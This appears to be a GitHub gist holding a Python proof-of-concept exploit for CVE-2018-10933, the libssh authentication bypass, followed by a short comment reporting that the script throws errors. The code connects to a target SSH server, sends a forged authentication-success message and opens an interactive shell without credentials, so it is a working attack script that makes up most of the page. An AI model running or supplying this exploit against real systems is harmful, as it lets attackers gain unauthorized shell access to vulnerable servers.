Created
October 17, 2018 17:48
-
-
Save digital-shokunin/4f679eba5fd5a34039eee05881a6b3c2 to your computer and use it in GitHub Desktop.
CVE-2018-10933
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#CVE-2018-10933 PoC modified from Minh Tuan Luong <not.soledad () gmail com> example PoC | |
import paramiko | |
import socket | |
import sys | |
nbytes = 4096 | |
if len(sys.argv) < 2: | |
print("Usage: " + sys.argv[0] + " <hostname> <port (optional: default 2222}>") | |
exit(1) | |
elif len(sys.argv) < 3: | |
port = 2222 | |
else: | |
port = int(sys.argv[2]) | |
hostname = sys.argv[1] | |
skt = socket.socket() | |
try: | |
skt.connect((hostname, port)) | |
msg = paramiko.message.Message() | |
transport = paramiko.transport.Transport(skt) | |
transport.start_client() | |
msg.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS) | |
transport._send_message(msg) | |
cmd_channel = transport.open_session() | |
cmd_channel.invoke_shell() | |
except socket.error: | |
print('[-] Connecting to host failed. Please check the specified host and port.') | |
sys.exit(1) | |
except Exception as e: | |
print(e) | |
sys.exit(1) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Produces errors:
First error can be solved by inserting
paramiko.util.log_to_file("filename.log")
afternbytes = 4096
Second one, I have no idea.